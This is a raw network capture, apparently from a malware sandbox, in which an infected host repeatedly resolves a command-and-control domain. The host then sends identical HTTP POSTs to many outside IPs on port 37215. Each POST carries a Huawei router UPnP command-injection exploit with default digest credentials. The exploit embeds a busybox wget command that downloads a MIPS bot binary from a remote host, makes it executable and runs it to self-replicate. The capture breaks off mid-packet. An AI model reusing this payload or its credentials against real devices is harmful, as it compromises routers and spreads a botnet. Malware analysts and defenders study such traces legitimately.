Nov 3, 2024 15:37:07.452342987 CET	192.168.2.14	8.8.8.8	0x47fd	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:08.381004095 CET	192.168.2.14	8.8.8.8	0x3217	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:09.337065935 CET	192.168.2.14	8.8.8.8	0x35e1	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:10.315968990 CET	192.168.2.14	8.8.8.8	0xc936	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:11.270442009 CET	192.168.2.14	8.8.8.8	0x1c59	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:12.209033012 CET	192.168.2.14	8.8.8.8	0x11b5	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:13.684273958 CET	192.168.2.14	8.8.8.8	0x5d7c	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:15.184360027 CET	192.168.2.14	8.8.8.8	0x8515	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:19.511919022 CET	192.168.2.14	8.8.8.8	0x9ee0	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:21.493505955 CET	192.168.2.14	8.8.8.8	0x4872	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:22.512814045 CET	192.168.2.14	8.8.8.8	0xf95d	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:23.531282902 CET	192.168.2.14	8.8.8.8	0xe7b3	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:27.596208096 CET	192.168.2.14	8.8.8.8	0x742e	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:28.528983116 CET	192.168.2.14	8.8.8.8	0x97a5	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:29.555737972 CET	192.168.2.14	8.8.8.8	0x6c49	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:30.495940924 CET	192.168.2.14	8.8.8.8	0xcfbf	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:31.508318901 CET	192.168.2.14	8.8.8.8	0xb01	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:32.531181097 CET	192.168.2.14	8.8.8.8	0xf729	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:33.550242901 CET	192.168.2.14	8.8.8.8	0xf543	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:34.567969084 CET	192.168.2.14	8.8.8.8	0x48c6	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:35.585788965 CET	192.168.2.14	8.8.8.8	0x64d5	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:40.775018930 CET	192.168.2.14	8.8.8.8	0xb700	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:41.748389006 CET	192.168.2.14	8.8.8.8	0x6236	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:42.771040916 CET	192.168.2.14	8.8.8.8	0xc7bb	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:43.748003006 CET	192.168.2.14	8.8.8.8	0x8cb6	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:44.673839092 CET	192.168.2.14	8.8.8.8	0xd37	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:45.635807991 CET	192.168.2.14	8.8.8.8	0xd5da	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:46.606416941 CET	192.168.2.14	8.8.8.8	0x2bde	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:47.568357944 CET	192.168.2.14	8.8.8.8	0xca21	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:48.518121958 CET	192.168.2.14	8.8.8.8	0x299e	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:49.480904102 CET	192.168.2.14	8.8.8.8	0x793d	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:50.499517918 CET	192.168.2.14	8.8.8.8	0x3760	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:51.550725937 CET	192.168.2.14	8.8.8.8	0xea4a	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:52.568417072 CET	192.168.2.14	8.8.8.8	0x6dc7	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:53.586735964 CET	192.168.2.14	8.8.8.8	0x2802	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:54.574533939 CET	192.168.2.14	8.8.8.8	0x282f	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:55.592644930 CET	192.168.2.14	8.8.8.8	0x3180	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:56.611360073 CET	192.168.2.14	8.8.8.8	0xb3d7	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:57.576817036 CET	192.168.2.14	8.8.8.8	0x41b1	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:58.595683098 CET	192.168.2.14	8.8.8.8	0x39b2	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:59.578286886 CET	192.168.2.14	8.8.8.8	0x6796	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:38:04.583296061 CET	192.168.2.14	8.8.8.8	0x6796	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:38:05.752734900 CET	192.168.2.14	8.8.8.8	0xa0d7	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:38:06.720742941 CET	192.168.2.14	8.8.8.8	0x24a3	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:38:07.709748983 CET	192.168.2.14	8.8.8.8	0xb89b	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:38:08.730863094 CET	192.168.2.14	8.8.8.8	0xd6d1	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:38:09.792319059 CET	192.168.2.14	8.8.8.8	0x4754	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:38:10.839068890 CET	192.168.2.14	8.8.8.8	0x19d7	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 3, 2024 15:37:07.459757090 CET	8.8.8.8	192.168.2.14	0x47fd	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:08.387948990 CET	8.8.8.8	192.168.2.14	0x3217	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:09.343883038 CET	8.8.8.8	192.168.2.14	0x35e1	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:10.322943926 CET	8.8.8.8	192.168.2.14	0xc936	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:11.277323961 CET	8.8.8.8	192.168.2.14	0x1c59	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:12.216710091 CET	8.8.8.8	192.168.2.14	0x11b5	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:13.691572905 CET	8.8.8.8	192.168.2.14	0x5d7c	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:15.392108917 CET	8.8.8.8	192.168.2.14	0x8515	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:19.518712997 CET	8.8.8.8	192.168.2.14	0x9ee0	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:21.500545025 CET	8.8.8.8	192.168.2.14	0x4872	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:22.519748926 CET	8.8.8.8	192.168.2.14	0xf95d	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:23.538511992 CET	8.8.8.8	192.168.2.14	0xe7b3	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:27.603487968 CET	8.8.8.8	192.168.2.14	0x742e	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:28.536271095 CET	8.8.8.8	192.168.2.14	0x97a5	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:29.563215017 CET	8.8.8.8	192.168.2.14	0x6c49	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:30.504889965 CET	8.8.8.8	192.168.2.14	0xcfbf	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:31.519845009 CET	8.8.8.8	192.168.2.14	0xb01	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:32.538918972 CET	8.8.8.8	192.168.2.14	0xf729	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:33.557070017 CET	8.8.8.8	192.168.2.14	0xf543	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:34.574726105 CET	8.8.8.8	192.168.2.14	0x48c6	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:35.782417059 CET	8.8.8.8	192.168.2.14	0x64d5	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:40.781523943 CET	8.8.8.8	192.168.2.14	0xb700	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:41.755419016 CET	8.8.8.8	192.168.2.14	0x6236	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:42.778661966 CET	8.8.8.8	192.168.2.14	0xc7bb	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:43.755527973 CET	8.8.8.8	192.168.2.14	0x8cb6	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:44.680792093 CET	8.8.8.8	192.168.2.14	0xd37	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:45.642781019 CET	8.8.8.8	192.168.2.14	0xd5da	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:46.613665104 CET	8.8.8.8	192.168.2.14	0x2bde	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:47.575474024 CET	8.8.8.8	192.168.2.14	0xca21	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:48.525660992 CET	8.8.8.8	192.168.2.14	0x299e	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:49.488096952 CET	8.8.8.8	192.168.2.14	0x793d	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:50.539537907 CET	8.8.8.8	192.168.2.14	0x3760	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:51.557467937 CET	8.8.8.8	192.168.2.14	0xea4a	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:52.575709105 CET	8.8.8.8	192.168.2.14	0x6dc7	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:53.593708992 CET	8.8.8.8	192.168.2.14	0x2802	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:54.581382036 CET	8.8.8.8	192.168.2.14	0x282f	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:55.600116968 CET	8.8.8.8	192.168.2.14	0x3180	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:56.617862940 CET	8.8.8.8	192.168.2.14	0xb3d7	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:57.584081888 CET	8.8.8.8	192.168.2.14	0x41b1	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:37:58.603332996 CET	8.8.8.8	192.168.2.14	0x39b2	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:38:04.589981079 CET	8.8.8.8	192.168.2.14	0x6796	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:38:05.760056019 CET	8.8.8.8	192.168.2.14	0xa0d7	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:38:06.760297060 CET	8.8.8.8	192.168.2.14	0x24a3	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:38:07.719711065 CET	8.8.8.8	192.168.2.14	0xb89b	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:38:08.737139940 CET	8.8.8.8	192.168.2.14	0xd6d1	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:38:09.827944994 CET	8.8.8.8	192.168.2.14	0x4754	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:38:10.849155903 CET	8.8.8.8	192.168.2.14	0x19d7	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.14	60092	197.127.15.67	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:08.470520973 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.14	35264	156.201.202.122	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:08.470558882 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.14	45328	197.4.84.67	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:08.470581055 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.14	44194	41.118.32.70	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:08.470592976 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.14	57424	197.43.82.24	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:08.470622063 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 